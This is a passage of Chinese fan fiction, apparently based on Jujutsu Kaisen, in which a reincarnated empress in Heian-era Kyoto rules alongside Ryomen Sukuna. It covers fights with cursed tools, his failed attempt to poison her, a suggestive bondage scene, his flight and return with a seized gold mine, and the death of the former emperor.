他终于感受到了跟着天皇的好处了,像这种咒具,除非主动献上,他如何能够得到呢?强抢的话,恐怕整个藤原氏都要跟他拼命。 更别说这个宝库了,这是每个家族隐藏最深的秘密。 今野桃瞥见他的表情,心中知道,向来自由的野兽总算是尝到了被驯养的好处。 再看看坐立难安的中年男人,她嗤笑一声,说道:“行了,把那个‘捆仙锁’也给我包起来,我就要这两样。” 她的语气理所当然,像在超市购物一样。哦不,超市购物还得花钱,她这是‘零元购’。 中年男人不由自主地松了一口长长的气,但看见天皇陛下似笑非笑的模样时,赶紧谄笑道:“那请陛下移步茶室。” 典雅的茶室布局简洁,榻榻米上摆放着一张原色矮桌并两个软垫,红木托盘上是一套白瓷茶具。茶室的障子门开着,外面就是精心布置的枯山水庭院。被仔细筛选过的白色砂石铺设出水波纹,像是层层泛起的涟漪。 今野桃就着日光,翻看着奉上的关于“六眼”的典籍。两面宿傩在旁边爱不释手地研究新得的咒具,颇有点想找人打架的样子。 忽然,一阵笛声响起。今野桃和两面宿傩不约而同地抬起头,望向了院子。 只见一个二十岁左右的青年出现在树下,长身玉立,风度翩翩,像飞舞的柳树。 哟,这是还有节目呢? 今野桃来了兴趣。 青年走近了她,停在了茶室外。他恭敬地行了一礼,开口道:“陛下圣安。” “你是谁?” 青年回了一长串,今野桃就记住了他的名字。 藤原裕也。 藤原家精心培养出来的下一任家主候选人之一,被两面宿傩杀掉的那个是他的叔叔。 “哦……”今野桃点头,“有什么事吗?” 她平和的态度给了青年信心,他挺直了脊背,向天皇递出了一张花笺。 今野桃还愣了一下,直到看见两面宿傩不耐烦的表情和青年微微泛红的耳根,这才恍然明白了。 原来是求爱啊。 婉拒了。 今野桃的果断让 青年惊讶,他自以为隐晦地瞟了两面宿傩一眼,又想起宫中传出来的情报,于是努力给自己争取,表示自己能做得比两面宿傩更好,有些事情两面宿傩不会,但他会。 啊?什么事情两面宿傩不会,但他会? 今野桃看看两面宿傩,又看看藤原裕也。 哇,他真的好自信。 两面宿傩已经开始活动手指了。当他的面挖墙脚,以为他是死人吗?他要好好想想,把这个男人切成多少份比较好。 “等等。”今野桃打断了两面宿傩的思考,“你做得到而两面宿傩做不到的事情也不是没有。” 嗯?是什么? 总不会是琴棋书画吧?比那个就没意思了。 今野桃支着下巴,肘关节撑在矮桌上,开口道:“你来扭一个。” 藤原裕也以为自己听错了。 天皇陛下说什么? 扭一个? 见他不动,今野桃以为他没听清楚,耐心地又重复了一遍:“扭腰,会吗?” 她又看向两面宿傩,好奇地开口:“你会吗?” 两面宿傩一看就硬邦邦的,哪里能扭得动呢。 就算扭得动他也不会这样做。 两面宿傩沉默几秒,若无其事地学着她的样子,撑着脑袋看向藤原裕也:“我不会,让他来吧。” 藤原裕也涨红了脸。 这是羞辱,是轻视。 他想要的,是天皇陛下的喜爱,是她的垂青,却绝不是这种戏谑的玩赏。 “陛下,我乃藤原……” 今野桃漫声打断了他:“我身边就留两种人,一种是能为我驱使的,一种是能讨好我的。” 藤原裕也低头道:“我愿被陛下驱使。” 今野桃歪着头,看了看两面宿傩,又看了看他,说道:“行,那你们打一架吧。” 藤原裕也:??? 他打宿傩?真的假的? 两面宿傩“哦?”了一声,慢吞吞地坐直了。他坐着的身体看起来都有藤原裕也两个大。 “我身边位置有限,只能各容纳一人。你既然选择了和两面宿傩重复的位置,那自然是要展现出比他更高的价值。”今野桃笑道,“所以,现在你选哪一个?” 选择去死,还是扭腰? 藤原裕也还不至于不知天高地厚到那种程度,尤其是他很清楚家族中[日月星进队]和[五虚将]的实力。 他僵硬地扭动起腰肢,一首曲子跳得不情不愿,随后羞愤离去。 今野桃很遗憾。 “没意思,算了,我们回宫吧。”再不回去,就赶不上吃晚饭了。 她大手一挥,把典籍打包带走。 马车驶出一段距离,忽然,车厢里的天皇发话了。 她要去郊外赏梅。 “……这个时候赏梅?”两面宿傩无语吐槽道,“就算是想要找个借口,也麻烦找个让人相信的啊。” “这有什么关系,就算没有借口,你们也得听我的。愿意找个借口敷衍一下已经是我最大的仁慈了。”今野桃不耐烦地说道,“总之,去郊外。” 两面宿傩哼笑了一声:“还真是心善啊,天皇陛下。” 是担心等会儿打起来的时候,误伤到普通百姓吗? “什么心善不心善的,打坏了还不是用我的钱去修。”今野桃翻了个白眼,“有这个钱,给我建行宫不好吗。” 有道理。 马车停在了郊外,入目的都是绿油油的梅树,它们的树叶向内卷曲,以躲避炽热的阳光。 两面宿傩抱着手臂,感受着周围陌生的气息越来越浓郁。 很快,一个身穿狩衣的男人从暗处走了出来,他扬声对今野桃说道:“陛下,请您速速离去吧,这是我们和两面宿傩之间的战斗!” 哦,原来不是找她的,是找两面宿傩寻仇的。 “这是谁啊?口气还挺大。”今野桃疑惑地问旁边的侍从。 侍从瑟瑟发抖,小声回道:“陛、陛下,这应当是安倍家族的咒术师。” 提到安倍家族,最有名的当然是安倍晴明。但安倍晴明死的时间比菅原道真还要早十几年,如今安倍氏逐渐没落,再不复当年晴明公在时的兴盛。 之前纠集人手前去讨伐两面宿傩的时候,安倍将顶尖的几个咒术师都派了过去,只希望能再次扬名,结果自然不言而喻。 本就不行的安倍家族又被砍了一刀,衰颓已成定局。 他们恨两面宿傩恨得心在滴血,只想吃他的肉、喝他的血。为了复仇,他们凝聚了剩下所有的力量,联合其他两面宿傩的仇敌,务必要置他于死地。 至于天皇……如果她不识抬举的话,他们也没什么好顾及的了! 今野桃扫过这几十上百个咒术师,猜测这背后应该有几个大家族在推波助澜。 她还是登基时间太短了,没让那些人深刻了解她的脾气,否则这样大的动静,不会没有一个人来给她泄密。 “打得过吗?”今野桃颇有兴趣地问两面宿傩。 两面宿傩已经扯开了交叠的领口,将四只手都解放了出来。听见她的问话,他轻蔑地笑道:“不过是一群土鸡瓦狗罢了,正好试试我的新咒具。” 他正愁没人给他“试刀”呢。 两面宿傩志得意满地握着“神武解”,凝聚起了咒力。 这些人在他看来,好打得很。只需要让他们感受到碾压式的恐惧,很快他们就会全盘崩溃。 但事实和他预估的有些出入。 对面的咒术师们抱着视死如归的意志,他们的口中念念有词,一个又一个印飞快地结着,狂风、烈火、寒冰等等各种咒术像下雨似的朝他袭来,一时竟让他有些自顾不暇。 看样子不得不使用咒具了,原本打算先活动一下的。 两面宿傩暗忖,将咒力输入到“神武解”中。 刹那间,电闪雷鸣,一道雷霆随着他的念头朝人群中劈去。只听轰隆一声,地上出现了一个焦黑的大坑。 嘶,这个咒具有些好用,不愧是藤原氏秘宝。 两面宿傩的攻击让咒术师们有些骚动,但竟然没能打散他们的士气。 是有什么还没使出来的依仗吗? 两面宿傩越发地谨慎起来。 “神武解”的威力巨大,但攻击范围不高,发动速度也不够快,再加上初次使用,他对这个咒具还没彻底摸清,所以战斗逐渐陷入僵局,无形的丝线慢慢束缚住了两面宿傩。 就在他准备再一次使用“神武解”的时候,赫然发现,自己的咒力消耗得有些过快了。而且,周遭的空气仿佛也变得粘稠起来,让他喘不上气。 安倍家族的咒术师此时已经被他打掉了大半条命,身上到处都是伤口,血淋淋的,看着就吓人。旁边倒了一地的尸体,他们死不瞑目地看向两面宿傩的方向。 两面宿傩固然会反转术式,但反转术式只能消除伤口,那些流下的血迹、破损的衣服和沾染的尘土就抹消不掉。 他看起来真是狼狈啊。 今野桃想起上周目时,他和她被围攻的场景了。 那时的她一定也像现在的他一样狼狈,但那时的她不并不觉得,满脑子都是怎么活下去。 结果被两面宿傩背刺了。 仿佛心有灵犀,两面宿傩忽然抬头,望向了她。 ——不打算救我吗? 她从他的眼中读出了这个意思。 今野桃好整以暇地摸着下巴,作出思考的模样。 “去死吧!” 终于等到两面宿傩筋疲力尽了,为首的咒术师举起了手中的武器,这是一把形似三叉戟的咒具,有呼风唤雨的能力。 “你以为我们为什么要将你迎进平安京?你以为你这个怪物真的被我们 所接受了吗?!“咒术师癫狂地大笑,“你根本就没有得到天元大人的认可,在平安京里,你的实力会被一点一点削弱,最后像废物一样死去!” 原来这就是他们挑战宿傩的底气。 咒术师们得意地笑了起来,仿佛已经看见两面宿傩绝望的死状。 “纳命来吧!”咒具破开雷霆,仿佛利刃划开厚重的幕布。风暴骤起,气流形成了巨大的龙卷。 下一秒,这把咒具就将洞穿两面宿傩的胸口。 然而…… “等等,”今野桃疑惑开口,“什么天元大人的认可,我怎么不知道?” 她知道天元的存在,但怎么这里也有天元啊? 无坚不摧的咒具被卡在了半空,任凭使出多大的力气也不得寸进。咒术师涨红了脸,脖子上青筋都冒出来了。 “陛下,我劝你不要多管闲事!”已经杀红了眼的咒术师们出言不逊,“否则,我们可不会手下留情!” 今野桃掏了掏耳朵:“别的我不管,你们先解释一下,什么是天元大人的认可。” 她以为带着两面宿傩通过了结界就行了,哪里知道他们还藏了这一手。 今天敢隐瞒这个,明天岂不是敢刺杀她了? 不行,必须严惩! 今野桃朝着两面宿傩抬起了手。 两秒钟后,两面宿傩开口道:“做什么?” “笨!”今野瞪了他一眼,“过来扶着我!” “这么娇贵?”两面宿傩吐出一口残血,“不会自己走路吗?” “你忘记我们签订的契约了?”今野桃冷哼一声,“你不对我使用领域,我也不对你使用。别怪我没提前说,我的领域可是无差别攻击的,除非碰到我。” 两面宿傩想起来了,他走了过去,将手心的血和汗随意地抹在衣服上,然后托起了今野桃的手。 “这样可以了吧?陛下。” 今野桃微微颔首。她的目光流转,落在了惶恐不安的咒术师身上。 “愚蠢。”她嗤道,“也不看看损失更惨重的藤原氏做了什么,被当枪使了还不知道。” 不等他们回话,她竖起了手指,冷冷开口道:“领域展开无量空处。” 这是两面宿傩第一次完整看到今野桃的领域。霎时,他的眼前一片白茫茫,天与地像是都不存在了,整个人感觉在往上浮,失重感让他毛骨悚然。紧接着,一缕彩色的光芒从尽头疾射而来,然后是第二缕、第三缕……数不清的彩色光芒坠落下来,天地倾塌,宇宙浮现,黑色的幕布一点点展开。 直到它彻底展露出全部,他才恍然意识到,那是一只眼睛。 一只硕大的、仿佛深渊一般的眼睛。 它将世界撕裂,目光所至,皆为它的领土。 两面宿傩不知道自己的表情有多么震惊和警惕,他恍惚地握住了今野桃的手,像是抓住了救命稻草。 今野桃轻轻一笑:“欢迎来到我的世界。” “你的世界?” “没错,而我,就是世界之王。” 【两面宿傩好感值:60】 两面宿傩垂眸。 这样的她……似乎更难杀了啊…… 安倍残党团灭后,平安京陷入了诡异的沉默。没有人为他们祭奠哀悼,一个曾经赫赫有名的家族就这样消失得无影无踪,仿佛从未存在过。 不过今野桃知道,他们应该是隐姓埋名了。大家族是这样的,会将枝干切下,栽种到其他地方,以防万一。 这些都与她无关,只要不舞到她的面前,今野桃其实并不在意这些。她会除掉这些人,也是因为他们的欺瞒。 瞧,等她回宫后,不就有人迫不及待地将皇室的秘密全都告诉她了吗。 “天元大人乃是千年前就存在的神秘存在,祂在结界术上有着超凡脱俗的造诣。平安京的结界乃是由祂联合几大家族共同设下,唯有得到天元大人认可的咒术师才能在平安京内自由行走。结界可以拒绝敌人的入侵,也可以将敌人放入结界后,来个瓮中捉鳖。越是强大的咒术师和咒灵,越是会被结界束缚。” 所以,两面宿傩进了平安京并不就代表万事大吉,他还要在天元大人那里做“登记”,才算真的成为了平安京里的一份子。 哦对,今野桃也没登记,她也是个“黑户”。 “果然是不怀好意!”今野桃气得拍桌,“那个老东西什么都没跟我说!” 两面宿傩都听笑了:“你逼他退位,杀他儿子,还指望他把秘密都告诉你呢。” 上一任天皇还没有那么下贱。 “……真小气。”今野桃不甘地嘀嘀咕咕。 天元大人常年沉睡,已经几百年没有出现过。所谓的认可,其实也就是在皇宫深处、天元所在的中心位置输入自己的咒力,让结界记住这股咒力。 天元具体所在的位置没有人找得到,今野桃关注了一段时间,就把祂抛在了脑后。 夏天很快就过去了,平和的日子里,时间总是过得悄无声息。高达30点的体质让她感受不到寒冷的侵袭,直到呵出一口气后见到了白雾,今野桃才意识到冬天的来临。 “冬天应该做什么?”她故作神秘地问道。 两面宿傩还穿着略显单薄的衣服,闻言回答:“睡觉。” 冬天除了睡觉还能做什么。等到天气再冷一点,白雪覆盖了整片大地,什么活物都没有,四周寂静无声。那个时候,也就只能窝在家里睡觉了,没有人想在那种天气里活动身体,吃下去的东西还抵不掉动起来消耗的能量。 但这仅仅是对平民而言。 今野桃摇摇手指,说道:“不,我们去泡温泉。” “这附近有温泉吗?”两面宿傩好奇地问。 “当然有。” 她笃定的话语让两面宿傩怀疑起了自己对环境的观察,这几个月来,他还真没发现附近有地暖。 谁知道,今野桃带着他来到了一处别院。远远地,他就看见雾气氤氲。 这里是一处人造温泉。也不知道是怎么做出来的,清透的泉水冒着热气,像是温润的碧玉镶嵌在大地上。周遭是移植过来的绿树红花,雾气蒸腾时,仿若人间仙境。 “迟迟兮春日,玉甃暖兮温泉溢。”今野桃叹道,“现在正是泡温泉的好时候啊。” 顿了顿,今野桃又侧过头,对两面宿傩意有所指似的笑了笑。 “很适合做一些特别的事情,不是吗。” 两面宿傩扯了扯嘴角没接话。 这处别院除了他们两人带着侍从外,没有其他人。 简单地冲了冲,今野桃走进了温泉之中。两面宿傩当然去了别的池子,她才不想跟他一起泡汤。 他坐下去的时候,泉水能溢出来一大截。 两面宿傩也不想跟她一起泡澡,他很少泡温泉,一来他很少长时间停留在一个地方,二来温泉本就稀少,大多还被豪强贵族占据。他懒得为这点小事动手,给自己引来麻烦。 温热的泉水没过肩膀,两面宿傩微微眯起眼睛,享受着这难得的闲适时光。旁边伸过来的绿叶上,几滴晶莹的水珠正在来回滚动。 他很少在野外这么放松,毕竟他的敌人很多,随时都有可能蹿出来。但现在,他的不远处就是天皇陛下,周围全是侍卫,而且天皇本人的武力值也超高,不容他人冒犯。他的敌人还没摸到他的身边,恐怕就已经被天皇陛下干掉了。 两面宿傩的目光落在了泛着涟漪的水面上,微微出神。 今野桃是一个很好伺候,又很不好伺候的人。她对很多事情不在意,所以稍稍越线也没关系。但一踩到底线,或许就会付出生命的代价。 唯一在她的底线上反复横跳还没死的 ,恐怕只有两面宿傩一个了。 他是特别的。 猛地潜入水中,几分钟后,两面宿傩破水而出。他站了起来,水线恰好在他的腹部。他抹了一把脸,借着又顺势将湿发朝后捋去。粉色的发丝黏在后颈,变成一缕一缕。 两面宿傩想了起来,他这几个月都没有剪过头发。之前为了方便,他都是用剪刀自己随便剪剪。而现在,每天都有人专门打理,他自然想不起来剪发,头发都快齐肩了。 他看起来和过去很不相同。 随手扯过毛巾将水擦干,两面宿傩穿好衣服,从内袋里摸出了一个小瓶子。 这是他问里梅要的。 剧毒。 化开后,几乎无色无味。 里梅把瓶子给他的时候,似乎欲言又止。 哼,已经被她所迷惑了吗。 两面宿傩去后厨转了一圈,出来的时候手里就拎着一坛米酒了。来到天皇休息的卧室,今野桃打扮齐整,正靠坐在垫子上看书。 她的脖子泛着红色,因为肤色白,所以很像是画着梅花的白瓷。但两面宿傩试过,他一个手刀劈在上面都没能将她击晕。 “你在看什么?”他问道。 今野桃合上书,给他看封面:“一本游记,没什么意思。” 两面宿傩想了想,装作忽然想到似的,提议道:“不如我们来下棋吧。”停顿了两秒,他又强调了一遍,“下五子棋。” 只是之前聊到琴棋书画的时候,随口提过,就被他记住了。 “行啊,输了别哭。”今野桃兴致勃勃地说道。她可是拥有无限悔棋的能力! 两面宿傩变戏法似的又掏出两个酒杯,放在桌上,说道:“输了的人喝一杯酒。” “可以。”今野桃爽快答应。 第一局,两面宿傩输了,这完全是意料之中的事情。他随手给自己倒了一杯酒,略显浑浊的酒液在杯子里晃荡,映出他的面容。 他面色不变,仰头饮尽。 “好喝吗?”今野桃笑意盈盈地问道。 “没什么味。”两面宿傩不屑道,“喝不醉人。” 古代酿出来的酒本来度数就低,更何况还是米酒。对两面宿傩来说,应当只能算是甜味饮料吧。 明明白酒的气味更冲,能更好地隐藏其他味道。只是今野桃喜欢喝米酒,他就带来了米酒。 很快,第二局、第三局,两面宿傩都输了。 他也不犹豫,一杯接着一杯喝。酒液被他全部喝下,没有漏出一滴。 今野桃一开始还在笑,渐渐地,她的笑意变淡。 棋盘上的形式开始改变了。 她其实是想认真玩游戏的啦,但两面宿傩的学习能力太可怕了,只是玩了数局,就记住了她那几条常用的套路,并且很快就找到了解决方案。 在连续赢了四局后,今野桃终究还是输了。 盯着棋盘愁眉苦脸片刻,两面宿傩挑眉道:“你不会想赖账吧?” 好吧,喝就喝咯。 今野桃举起了杯子,她没有立刻喝下去,而是轻轻嗅了嗅。除了米酒的香气,没有任何特殊之处。 她掀了掀眼皮,和两面宿傩对视着。 两面宿傩猩红色的瞳孔之中映着她的面容,表情很平静。 于是今野桃喝了下去。 放下杯子,她啧了一声:“是错觉吗,这次的酒不好喝。” “那就陪我喝。”两面宿傩不容拒绝地说道。 游戏既然开始,就不能随便停下。 两面宿傩动作飞快,下棋的时候几乎没有思考,又连着输了三局。输了就喝酒,他一点不拖拖拉拉,喝得爽快极了。 两个小时过去,酒坛空了,最后一滴酒液落入了今野桃的口中。她一共输了四局,喝了四杯。 酒坛倾倒在地,一时间,屋内安静得能听见呼吸声。 突然,今野桃低头咳了两下。渐渐地,她的咳嗽越来越剧烈,以至于不得不用手帕捂住嘴巴。 隐约有血腥气传来,她低着头,半湿的黑色长发垂落,遮住了她的面容。 两面宿傩松了一口气。 终于落入陷阱了啊。 “你还有一盏茶的时间说遗言。”他抱着手臂,是从未有过的闲适姿态,“有什么想说的吗?” 按照契约,她不能对他使用领域,而除了领域之外,她就只会用强大的力量和碾压级别的身体素质来与他对抗,并无任何远距离攻击的能力。现在,中了毒的她无法动弹,他也就没有什么好怕的了。 今野桃没有说话。她的肩膀微微耸动,是在哭泣吗? 自以为是地想要豢养野兽,如今被野兽咬了一口,也是活该吧。 两面宿傩勾起了嘴角。 他是很中意她,觉得她是一个很特别的女人。但他怎么能容忍有人站在他的头上,对他颐指气使呢? 一切顺从不过是假象,为了赢,他可是会不计任何手段的。 想到这里,两面宿傩的笑容越发得意。但慢慢地,他的笑开始变得僵硬起来。 一盏茶的时间?现在两盏茶的时间都过去了!这个女人怎么还在抖?! “喂!你……”两面宿傩惊疑不定地站了起来。 一声幽幽叹息响起,今野桃抬起了头。 “还以为你要说什么有趣的东西呢,没意思。”她苦恼地说道,“搞得我不小心咬到了舌头。” 咬到了……舌头?! “不可能,你怎么会……” 他亲眼看见她把毒酒喝下去,虽然他自己也喝了,但他会反转术式,那点酒早就被他暗暗排出去了。他很确定她并不会反转术式,所以才用了这一招。 眼前的女人笑弯了眼,她弹了一下桌上的酒杯,轻描淡写地说道:“不要小看了我啊,宿傩。在喝下第一杯酒的时候,我就发现了不对劲哦。” 自以为逃脱的猎物其实仍在猎人的掌心,这对向来心高气傲的诅咒之王是多么大的打击啊。 “以前我是不会反转术式啦,但喝下毒酒的那一刻,我就觉醒了反转术式。”今野桃点了点自己的脸颊,抱歉地说道,“没办法,谁让我是个天才呢。” 她慢慢掏出了红绳,抻开。 “接下来,是我的回合了哦。” 第27章 两面宿傩有一对格外大的胸,在不用力的时候,摸上去软绵绵的,总是让今野桃莫名想到一个词语——有容乃大。 可惜他心胸狭窄,睚眦必报。 “放松些。”今野桃不满地说道,指尖深深地陷入到了肌肉之中,“不然我就把你的手都给打断哦。” 两面宿傩匍匐在地上,凌乱的衣服遮挡不住他的身体,一道道鞭痕纵横交错。比他小了两号的女人趴在他的背后,明明看起来轻飘飘的,却能叫他动弹不得。 “你这家伙……”两面宿傩几乎是把字挤出了牙缝,“不要太过分了!” “过分?怎样叫过分?”今野桃不满地说道,“我现在都只是摸一摸而已,都还没做什么呢。” 她张开嘴,用力咬在了他的肩膀上。带着血印的齿痕宛如一个标记,沁出的些许血珠洇在她的唇上,显得格外妖冶。 她的另一只手顺着腹肌往下,撬开了两面宿傩腹部的那张嘴。 “你这里,和上面有区别吗?”她轻佻地笑问,“比如,能尝到味道吗?” 应该是可以的。据他自己所说,他多出来的肢体是因为他在母体内吞噬了自己的兄弟。那么,上下两张嘴应该没有差别。 今野桃将两面宿傩翻了过来,他仰躺着,粉色的头发散开,像是凋零的樱花 瓣。 “你要做什么?”他警惕地开口道。 今野桃不语,只是坐在了他的腰上。 被当做“捆仙索”使用的长绳束缚住他的双手,绕过他的脖子。今野桃拉着绳子用力往前一拽,逼迫两面宿傩挺起了胸口。 然后她的手没入他的脑后,揪住了他半长不长的头发。 她居高临下地低垂着眼眸,目光深处带着冷光。 “好好服侍我,否则你现在就可以去死了。” 两面宿傩的胸口剧烈起伏着,他牵出一个恶劣的笑,露出尖尖的牙齿:“行,那你试试看。”。 两面宿傩跑了,趁着今野桃睡着的时候。他跑路的速度很快,尤其是在那把名为“飞天”的咒具加持下。 这把咒具的前任主人是安倍,在围攻他的时候可给他造成了不小的麻烦。后来那些咒术师团灭,这把咒具就被两面宿傩笑纳了。 勉强挤出一些咒力,用反转术式给自己治了个三四成,两面宿傩迫不及待地来到了和里梅约定好的地方。 他做了两手打算,如果赢了,自然会回到平安京,从此过上作威作福的生活。 如果输了,就和里梅一块跑路。 里梅并无异议,他完全服从两面宿傩的任何计划。 只不过…… 他抬头看着两面宿傩狼狈的模样,再次有些欲言又止。 两面宿傩可怜吗?好像是有些。但他除了衣衫凌乱外,身上还带着大大小小的印记。两面宿傩的咒力都用来治疗那些严重的伤口了,反而忽略了这些他甚至感觉不到疼痛的小伤。 里梅也会反转术式,但两面宿傩好像忘记了让他给自己治伤,里梅也就没有开口。 “走吧,那个女人如今是天皇,必须坐镇平安京,只要我们离得远,她不可能来抓我们。”两面宿傩冷声说道。 “是,宿傩大人。”里梅点头应道。 然后他伸出了手,捧着的是一封信。 两面宿傩捏着信纸,没有立刻打开,而是凝视着里梅,开口道:“你也被她收买了?” “我永远效忠于宿傩大人。”里梅说道,他的忠诚毋庸置疑,但是……“天皇陛下说,如果有一天宿傩大人想要回来,这就是信物。” 两根青筋浮现在两面宿傩的额头上,他愤怒之余,又有些心惊。 这一切……莫非都在那个女人的掌控之中?她早已预料到自己会离开? 但就算她猜到他心怀不轨,去温泉是临时起意,下毒也是突然决定,除了里梅外,绝不会有第三个人知道。 她竟然如此聪敏?是猜测,还是对他太过了解? 两面宿傩深深地吸了一口气。 算了,那些都跟他没关系。 拆开信,只见里面装着一张画了圈的地图,上面龙飞凤舞地写着一行字: 我要这个金矿。 两面宿傩被气笑了,随手把信一扔。 谁要给她去挖金矿啊!。 离开天皇的第一晚,两面宿傩和里梅宿在了一处旅馆。老板瑟瑟发抖地接待了这位传说中的诅咒之王,在两面宿傩击退藤原氏精英、被迎入平安京又团灭安倍残党后,他的名声被传得越来越广,也越来越吓人。 老板敢接待他,已经是看在里梅出手大方的份上了。 他奉上了最好的东西,却仍然无法让这位诅咒之王满意。 被褥的料子一般也就算了,还带着一股潮气,睡在里面甚至能闻到发霉的味道。 两面宿傩还以为老板有意敷衍,结果对方战战兢兢地表示,这被子是新晒过的,只是最近两天天气不好,收在了柜子里。 但他前几天睡的被子都并非这样。 两面宿傩想了半天,明白了,原来是被子没有熏香。 午饭吃的是腌鱼,为了掩盖鱼肉的不新鲜,用了很多盐,第一口下去,两面宿傩差点以为自己吃到了一团没有化开的盐粒。 但这就是平民吃的食物,很下饭,一块腌鱼可以就一大碗米饭。 仅有的水果是几颗看着就寒酸的腌梅子,又酸又咸,尝不到一丝甜味。 两面宿傩吃得想杀人。 幸好还有里梅,他烹制了一顿勉强让他满意的晚餐。 切得薄薄的肉片经过烤制后,撒上香料,让人食指大开。 “看样子你在皇宫里还是学到了东西嘛。”两面宿傩受伤的心终于得到了抚慰。 里梅低声说道:“是用了宫里的秘方佐料。” “……”两面宿傩哑然。 “我离开的时候,陛下让人给我打包好了行李,说是不能让宿傩大人吃得不好。”里梅认真地说道,张口就是陛下、陛下。 但他也没说错,两面宿傩最大的快乐就是进食,吃不好会让他心情非常郁闷。 而这一点,早已被天皇陛下考虑到了。 她明明不在这里,却又好像无处不在。 两面宿傩没说话,将有着熟悉味道的食物一扫而空。 夜里的风有些凉,两面宿傩很久没有睡着。 他期待已久的自由生活,好像跟他想象中的不太一样。 不过只是过了几天的好日子,就被冲昏了头脑吗?真可怕啊,差一点点,他就要迷失在其中了。 区区一些物质上的享受罢了,他是绝对不会…… 第二天早上,两面宿傩吃到了卡嗓子的馒头。 “宿傩大人。”里梅只能这样解释,“陛下所用的面粉要经过多重筛选,将里面的麸皮等东西全都筛出来,只留下白色的纯面。这种工艺……只有皇宫之中才能做到。” 普通贵族都供不起这样吃。此时的常用面粉都是通过石磨碾碎,很粗糙。想要制成那样细滑的面粉,需消耗大量人力物力。 两面宿傩嗯了一声,将馒头咽下。 真奇怪,以前的馒头有这么难吃吗? 不仅仅是馒头,皇宫中还有很多食材是特供的。外面的人别说吃了,连听都没有听过。 日本是有“禁肉令”的,明令禁止食用牛、马、鸡等动物的肉,甚至许多贵族都会以吃肉为耻。但天皇对此毫不在意,谁敢让她因为吃肉而忏悔,她就让谁先去地狱。 所以皇宫里的膳房永远都有新鲜的肉,天皇上午说了一句“想吃烤羊羔”,下午羊羔就进了炉子,晚上这道菜就上了餐桌。 然后养羊的、杀羊的、烤羊的,全都得到了丰厚的赏赐,皆大欢喜。每个仆人都在期待为天皇陛下效力的时机。 两面宿傩已经忘记从前吃不饱的感觉了。 行走于街道上,明明是熟悉的千篇一律的景物,却让两面宿傩恍如隔世。 他有些索然无味。 现在的她,会在做什么呢?想来一定非常开心。还说什么喜欢自己,是喜欢折磨自己吧。 两面宿傩在外面度过了一整个冬天,开春的时候,他听闻天皇要举办春祭,大肆宴请百官贵族。 数不清的山珍海味、奇珍异宝像流水般朝着平安京汇聚,大家口耳相传,认定那一定会是一场相当盛大的宴会。 谁没有被邀请参加,绝对会被嘲笑一整年。 天皇陛下宣言,要重赏那些立下赫赫功劳的臣子们。 两面宿傩独自站了很久,终于在某个早晨,对里梅说道:“拿地图来给我看看。” 里梅一言不发地将地图递给了他。信件保存完好,没有一点褶皱。 他还是什么都不说,但又好像什么都说了。 “唔……似乎并不远。”两面宿傩将地图揣进了怀中,“走吧,我挺好奇金矿长什么样子。” 没错,他就是看看,毕竟他还没看过金矿。 “是,宿傩大人。”。 天皇陛下身边的恶鬼消失了。在冬天的某一日,没有人知道他去了哪里。 有人猜测他和天皇陛下感情破裂,可是陛下依旧言笑晏晏,不见半点伤心。 恶鬼的踪迹出现在一个偏僻的村庄,似乎漫无目的,又似乎在寻找什么。 天皇陛下悠悠说道:“不必管他,他会回来的。” 陛下说着大家听不懂的话: “吃过蛋黄派的狼,怎么可能还愿意自己捕猎呢。” 她说得意味深长,一切仿佛都尽在她的掌控。 这……蛋黄派是何物? 众人不解。 然后又是某个平平无奇的日子,恶鬼回来了。他带着一身血腥气,和一个被清理得干干净净的 金矿。 【两面宿傩好感值:80】。 两面宿傩回到皇宫,第一件事就是炫了一整只牛。红烧、爆炒、烧烤,把今野桃都看愣住了。 他很有一种家猫流浪回来后大吃大喝的模样,让人不禁怜悯起他在外面是不是吃了很多苦。 “你……”今野桃想说些什么,看他这个样子也说不出口了。 将那些戏谑讥嘲的话咽回去,也算给两面宿傩留了面子。 金矿当然不会没有主人,哪怕现在开矿的技术不发达,但浅层还是能够开采得到,那些占据着金矿的吸血虫们靠着这个矿生活不知道有多滋润。 ——然后他们就迎来了两面宿傩这个大杀神。上上下下,整个矿区全部都被他清洗干净了。今野桃相当满意,在朝堂上宣布自己找到了一个“无主”的金矿。 有人的表情变得难看起来了,一边心在滴血,一边又恐惧不已。 陛下……到底是随便指的一处金矿,还是已经知道他们私底下的小动作了? 如果按照历史来看,现在正是平安时代末期。中央政权和幕府政权之间有着激烈的冲突,再过几十年,源赖朝就会消灭平氏,并且在关东建立属于自己的政权。从此平安京没落,天皇也成为失去权利的傀儡。 战争是需要大量物资供养的,武器、金钱、人力……这些都缺一不可。而天皇陛下选中的那座金矿,就是受武士和贵族掌控的。 金矿被没收,那些暗地里的动作立刻少了大半。 他们不是不想报复,可是,向谁报复呢?是独自血洗矿区的两面宿傩,还是看似端坐高台实则心思深沉的天皇? 他们谁都不敢选。 “哎呀,有了这座金矿,我的行宫应该能建得更快了。”今野桃激动而又期待地说道,“说不定我们可以赶得上去行宫纳凉。” 重金之下必有勇夫,只要钱足够,工人可以二十四小时无休。 今野桃美滋滋地想,两面宿傩咬着一个腌桃子不吭声,任由她玩弄自己的头发,把它编成麻花辫。 用糖腌的桃子比蜂蜜还要甜,汁水丰沛,是皇室特供。 然而,行宫还没建好,一个噩耗就传了出来。 前任天皇死了。 说不清是怎么死的,情况比较复杂。 今野桃杀掉了那些威胁她皇位的哥哥姐姐和弟弟们,却并没有将他们的母亲也杀掉。等逼迫前任天皇退位后,她更是非常好心地将前任天皇和他的那些妃子关在了一起。 她并非要折磨他们,只是为了眼不见为净。但前任天皇就成为了那些妃子们的出气筒。一开始她们还不敢做得太过分,但渐渐地,从今野桃几个月都不来看前任天皇一眼里,她们得到了某些信号。 于是,羞辱、谩骂是最基础的,还有故意抢走前任天皇的生活用品,给他吃冷饭冷菜,穿单薄的脏衣服。 前任天皇本来身体就不好,又遭受了重大打击,很快就一命呜呼了。据说死前还在咒骂,然后被一个妃子甩了两巴掌——她还有一个女儿呢,不想跟天皇一起陪葬。 “真麻烦,怎么就死了呢。”今野桃苦恼地说道。 天皇死了,总不能像普通人一样用一口小棺材就埋了。按照礼制,要举办葬礼和祭祀。 刚刚才到手的金矿,这一下子就得去掉一小半。 今野桃不愿意,她才不想给无关紧要的人花自己的钱。 “能传一道旨意,就说前任天皇自己想要海葬吗?烧干净扔海里那种?”今野桃带着几分期盼地问负责的官员。 官员也很为难:“陛下,前事不忘,后事之师。我们今日这样做,来日恐怕……” 哦,她懂了。今天这样对前任天皇,等她死了,下一任天皇说不定也会这样对她是吧? “行啊。”今野桃无所谓地说道,她又不介意。 